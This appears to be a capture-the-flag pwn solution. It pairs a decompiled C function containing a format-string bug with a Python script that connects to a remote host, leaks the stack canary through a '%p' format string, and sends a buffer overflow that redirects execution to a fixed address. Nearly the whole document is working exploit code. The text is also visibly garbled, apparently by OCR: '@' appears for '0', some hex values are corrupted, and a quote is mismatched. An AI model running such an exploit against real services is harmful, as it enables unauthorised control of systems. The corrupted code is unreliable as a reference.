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unsigned _ int64 sub_4@83EB()

char buf; // [rsp+@h] [rbp-9@h]
unsigned _ int64 v2; // [rsp+88h] [rbp-8h]

v2 = _ readfsqword(@x28u);
memset(&huf, @, Bx86uLL);

read (@, &buf, @x7Full);
printf(&buf, &buf);

return _ readfsqword(@x28u) ~ v2;
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import socket
import struct

def p64(value):
return struct.pack("<Q",value)

tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp.connect(("111.198.29.45",31755))
print(tcp.recv(1024).decode(errors="ignore"),end="")
print(tcp.recv(1024).decode(errors="ignore"),end="")
tcp.send(b"2\n")

tcp.send(b"%23%p\n")

canary = int(tcp.recv(1024)[:-1].decode(errors="ignore"),16)
print(p64(canary))
print(tcp.recv(1024).decode(errors="ignore"),end="")

payload = b'a' * (6x99 - 0x8) + p64(canary) + b'b" * 0x8 + p64(0x4008DA)
tcp.send(b"1\n")

tcp.send(payload)
print(len(tcp.recv(1024).decode(errors="ignore")))
print(tcp.recv(1024).decode(errors="ignore"),end="")
tcp.close()
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